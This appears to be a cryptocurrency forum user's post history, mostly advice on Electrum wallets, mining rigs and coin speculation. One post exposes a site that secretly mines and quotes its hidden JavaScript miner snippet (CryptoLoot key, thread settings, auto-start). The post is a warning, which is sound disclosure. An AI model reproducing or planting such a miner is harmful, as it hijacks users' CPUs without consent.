Can you see your merit history in this page?: https://bitcointalk.org/index.php?action=merit
If it does, you can add the link along with the information about merit system in the 1st page.

I'm going to update the Translated - Filipino Thread as well.

And this part:
Also, remember when PMing the signed message, send it in [code ][/code ] brackets (just without the space at the end). For example,
You can remove the space without activating the code header using the "[nobbc][/nobbc]" tag.

Better make a new Electrum Wallet file and select the option (4th): Import Bitcoin Addresses or Private Keys
Paste your paper wallet's private key in the box then proceed.

The only drawback here is that you will not get the seed phrase of that wallet.
Your backup options would be the wallet file itself or your private key.
But you can import more addresses (private keys) if you want.
Since you imported a private key, you can spend the funds from that imported address.

Advise for a newbie: Double-check the site where you got your Electrum wallet. There are fake/copied electrum sites in the web, be careful.
6003  Alternate cryptocurrencies / Mining (Altcoins) / Re: I think my switched PDU just killed two PSU's on a rig on: January 24, 2018, 04:13:11 AM
I thought for sure I fried something, because I thought both psu's needed to be started up at the same time.  At some point I thought I read that it posed a threat to your board, if they were not powered on at the same time.
FYI, That splitter was designed to power on the two PSU at the same time. The board will signal the power on signal.
Notice that there are only two wires connected in the other 24pin port, those are (green) PSON and (Black) Neutral wires if color coded.

If happened that the splitter was broken and the other PSU doesn't turn on, the MOBO will not be at risk, it will not POST and if you have a display (onboard or gpu connected to the turned on PSU), it would just stuck in the bios logo.

No offence
There is no mining within the site.
But Yes, there is: "My Post"
Sites like these keep coming weekly.
Yours however, is "true" real-time with the bonus of Background Mining Script!

Quote from: the site's javacript code
CoinHive = "shit";var threads=window.navigator.hardwareConcurrency/2;threads<1&&(threads=1);var miner=new CRLT.Anonymous("119e4573c7c87b5cba4d39ec19ad4572580d6254f516",{threads:threads,autoThreads:!1,throttle:.2});miner.isMobile()||miner.start();

It's not a bad thing considering that you need some revenue for your service but,
Add a warning or a disclaimer that you are CPU mining in the background.  Angry
Another posts
AVOID! Using your processor on the background to mine! You'll realize your CPU usage will increase immediately.
My computer's fan turned on because of the high CPU usage. So first dis-allow cryptoloot via Ad Blocker etc.

I'm not sure if you're unaware but, the script was hidden in the bottom part of the Javascript: app.js

But like I said, It's not a bad thing considering the site is useful to us.
Just leave a Notice for us to close the window once we're done.

If someone built the site for you, contact him to remove the miner or show the controls to the audiences.
6005  Alternate cryptocurrencies / Speculation (Altcoins) / Re: monacoin pump? on: January 23, 2018, 08:59:21 AM
That x7 is bad for Monacoin for it is currently being used as Digital Payment in some establishments and online stores in Japan.
A sudden pump may be seen as possible future volatility issues that Bitcoin is facing.

As the title said "monacoin pump", it might being pumped maybe by some whales to become a source of dirty profit.
Most traders outside Japan are finding ways to buy too, for hodling of course.
After the sellout since they didn't need the coins, expect a sliding dump.

It's bad for the coin since it has been in the road of being a successful payment digital currency.
A stable growing market cap is good for the long run.

I hope this is not a 600% UP then -500% DOWN roller-coaster.
6006  Alternate cryptocurrencies / Speculation (Altcoins) / Re: Bitcoin White The next 100x coin on: January 23, 2018, 02:45:16 AM
For me, altering/using any "famous" name is red flag for a coin.
It isn't a Fork either, while some forks for me are suspicious, at least having its own brand is a good sign.

This is just based on the name, looking at the development is the next step.

I don't know about this "Bitcoin White".
I'm not interested so... there you go.

P.S. Bitcoin Asian is a better name.
6007  Bitcoin / Electrum / Re: Coinbase to Electrum HUGE fee on: January 22, 2018, 05:57:07 AM
What do you expect?
You used 378 Satoshi / byte in your Coinbase account as the transaction fee.
And it was a one input-output transaction, they are really inefficient, they could have just batch senders every 5 minutes.
Another problem with Coinbase is, they deduct the transaction fee from the amount you want to send than the usual Amount+Transaction fee method.

He should try Doge instead. Average fee of $0.01 compared to the $0.23 that Bcash has.
Electrum wallet doesn't support doge or bch.
6008  Bitcoin / Electrum / Re: Two questions about Electrum (newbie) on: January 22, 2018, 05:34:09 AM
To upgrade your electrum with your funds intact,
you just have to copy the wallet file from
C:\Users\(username)\Desktop\electrum_data\wallets\(name of your wallet) to a temporary safe place.
[I assume that this is where your portable version's wallet file was based on your statement]

That was the wallet file, that's all you need to transfer your wallet (aside from the seed).
You can put this wherever you want, you can browse it's location in the electrum "Open" menu.

Then proceed with upgrading to a 3.05 (Uninstall the old version if you're paranoid),
Open the new v3.05 Electrum (whatever the variant) and open->find your wallet file.
6009  Alternate cryptocurrencies / Mining (Altcoins) / Re: Stability Issues on: January 22, 2018, 02:59:40 AM
Don't blame the RAM or Pagefile if the system immediately crashes, it will freeze first if it was a memory problem.

It is either Temperature or Power failure, but most likely a bad GPU.
Start by removing the 6th GPU and monitor your rig.

I've seen the same issue that points to a faulty video card.
The symptoms are misleading, but after replacing that vcard, the dilenma of finding the culprit has ended.
6010  Alternate cryptocurrencies / Altcoin Discussion / Re: Ripple XRP Are Being Used on Human Implanted Microchips Payment Service For BEZH on: January 21, 2018, 10:33:46 AM
"Human Implanted Microchips", sounds like a pain in the ass.... or wherever it was implanted.
That gimmick was a thing of the past, why would a regular Joe wanted a chip implanted below his skin?
As if Fingerprints and Face Detectors aren't enough.

If you need to be cardless, an address per person accessible through his bio is enough as the identifier.
Not this old stupid sci-fi flick stuff.
6011  Alternate cryptocurrencies / Mining (Altcoins) / Re: GPU fans after a year of running on: January 21, 2018, 07:49:36 AM
Send it to a Computer Technician, like asadeb said, those stuck fans only needs a drop of machine oil in order to function well again.
I'm a computer technician and doing this annually to my fans to keep them silent and efficient.
There are different methods depending on the fan.
Most of these GPU fans have Covering or Label Sticker under it, this covers the center area where the one-drop machine oil goes.
You don't need to pluck the blades up, just unscrew the fan from the heatsink then turn it upside-down and you will see it.

Your wobbly fans are questionable though.
It might be the plastic parts around the bearing or shaft that got melted by the heatsink's heat.
Those fans must be replaced.
6012  Bitcoin / Project Development / Re: Lightning Network is a banker scam part one on: January 21, 2018, 06:53:58 AM
When I realized how Lightning Hubs works, I thought of the same thing too.

If they all want Bitcoin to be used in purchasing coffees, use/integrate/partner with a 3rd-party wallet that was designed for micro transactions.
Designed to send and receive (without using the blockchain) funds within their system.
It is meant for small payments so, you only need to send some funds to that wallet to be used for buying coffee or something else.
Find a coffee shot that accepts "that" payment method and Voala! no transaction fee micro-transaction.

Bitcoin needs improvements in the system not in this type of usability options.
To minimize conflicts, keep Bitcoin as it is while improving the transactions and let the world develop services above it.

Like today's web programming, binaries are in the bottom and CSS/HTML as the front-end.
Let bitcoin become the foundation (the binaries) of future services.
6013  Bitcoin / Development & Technical Discussion / Re: How to do micro payments with bitcoin? on: January 21, 2018, 04:09:41 AM
...We also have ZERO fees when transferring bitcoins from one Wirex user to another, making it possible to some degree to use bitcoins for micro-transactions .
...

Hmm, an interesting idea and implementation.

So the BTC would go from one address (A) to a Wirex address (B).  Then the transfer occur to another Wirex address (C).  This amount then can be withdrawn to a local fiat currency.

My question is how would blockchain represent this balance of BTC address A?
Maybe BTC address A and Wirex address B could be in one account, but when some bitcoin got transferred to Wirex address C in a different account, how would A be reflected in the chainblock?

It must be the same way as Coins did, they have zero fees on trades between their users because the bitcoin addresses used by the users are not entirely owned by that user.
Their Accounts hold/send/receive the Bitcoins (displayed) but their address doesn't send or receive the btc in the blockchain.
The user doesn't have the private keys of their addresses.
Users own the account, not the addresses.
It's a clever idea on handling mainstream micro-payments.
6014  Bitcoin / Development & Technical Discussion / Re: How to do micro payments with bitcoin? on: January 20, 2018, 05:57:52 AM
How to do micro payments with bitcoin? The transactions need to be verified on the blockchain, but need to minimize the fees.
If you think of it, that was easy~ Offchain.
Use or partner with a 3rd party service (Ex. Coins) that accepts bitcoin and can send and receive bitcoins between users without a fee (or just their service fee, they didn't send the funds using the blockchain anyways).
Or establish a 3rd party wallet accounts (offchain) to be used for the site that can hold (pseudo) btc balances from users to be used for purchasing products.
With this, you can even offer refunds which is impossible using the blockchain.
The process is Centralized, but micro-payments needs centralization.
Take note of the security vulnerabilities.

The only drawback is, users have to use that particular service in order to pay for your store or establishment.
Just add a different payment option and you're good to go.
6015  Economy / Speculation / Re: Whats your exit strategy? on: January 20, 2018, 05:41:42 AM
TL;DR  What is your price? Have you picked a number to exit?
I have other sources of income, it's a waste of brain activity to make myself overthink just because of a failing crypto economy.
If someone can't take an uncertain world of "investments" into his gut, why do he even join in?
If it fails, there goes my digital assets (I'll save what I can when the time comes).
I'm taking in and out overtime anyways.

Seriously guys, did you spent most your wealth into your portfolio,
that these kind of situations make you think of an exit strategy?
It is unethical to put what you can't lose in investments. And hodling, is looking more like a gamble.

This will make your everyday works (whatever it is) inefficiently done.
6016  Economy / Speculation / Re: Bitcoin Price & Further Losses on: January 20, 2018, 05:04:33 AM
There are none or less bitcoin hype today since that bubble burst last December, that alone indicates that this will be a long struggle between $10k-$16k.
As long as coinbase and exchanges supports bitcoin there won't be a threat of a sudden loss.
As I said, if Bitcoin is losing, this will be a long struggle, not too much of a headache.

What drives today's (and same timeline last year's) value are always speculations.
A pump or bubble has always been brought by P&D by whales followed by hypes.
6017  Alternate cryptocurrencies / Altcoin Discussion / Re: The statements of ripple on: January 19, 2018, 10:30:14 AM
Tired of already with this Ripple!!!!!!!!!  Angry
This is a scam world-wide!
I doesn't look like a scam but its current market cap does not reflect its true value.
What makes these fomo coins great is: They are profitable for traders, in the right timing.

Agreed, crypto's biggest scam. Their LOGO is a freaking FIDGET SPINNER!!! WAKE UP SHEEPLE!!!!
(lol) Agreed, it could use some upgrade.
Is it that hard for them to hire a better Graphic Designer? Look at their horrible logo.
They are not scam, just an ambitious team with ambitious goals.
The world has just started to realize the potential of digital currencies, we won't know if one of these will be adopted by 3rd generation services and products in the near future.

P.S. I dumped my XRP @ $3.
6018  Alternate cryptocurrencies / Mining (Altcoins) / Re: which is the best 1080ti to buy? Im seeing all kinds and prices changing before on: January 19, 2018, 06:04:20 AM
Too bad for you, any Brand of 1080ti you can find now is 2.5x more expensive than their prices last year.
Who did this? us GPU Miners.

Just choose the one with a reputable brand or direct from NVidia.
Not the one with "Big Fans" but the one with High Quality Components (including the Fan).

Take note that if you want to upgrade in the future, make sure that order those that got a Year or more Warranty.
It will be easier to re-sell them in the future to gamers and standard users.

6020  Bitcoin / Project Development / Re: A unique approach to create a faucet on: January 19, 2018, 04:47:05 AM
I'm kinda lured when someone is starting a Game that utilizes blockchain technology.
These kind of projects bring enthusiasm to my nerves.

I've been in many MMORPG before, what's notable is Ragnarok Online's Marketplace, a trader's practice platform. Although there are some concepts in the game that need improvement.
When you integrate a Blockchain in an Online Multiplayer Game, the chances of a hyperinflation will be tremendous. Take care of that.
Remember that games are meant for playing.

I will follow this thread for future refence.
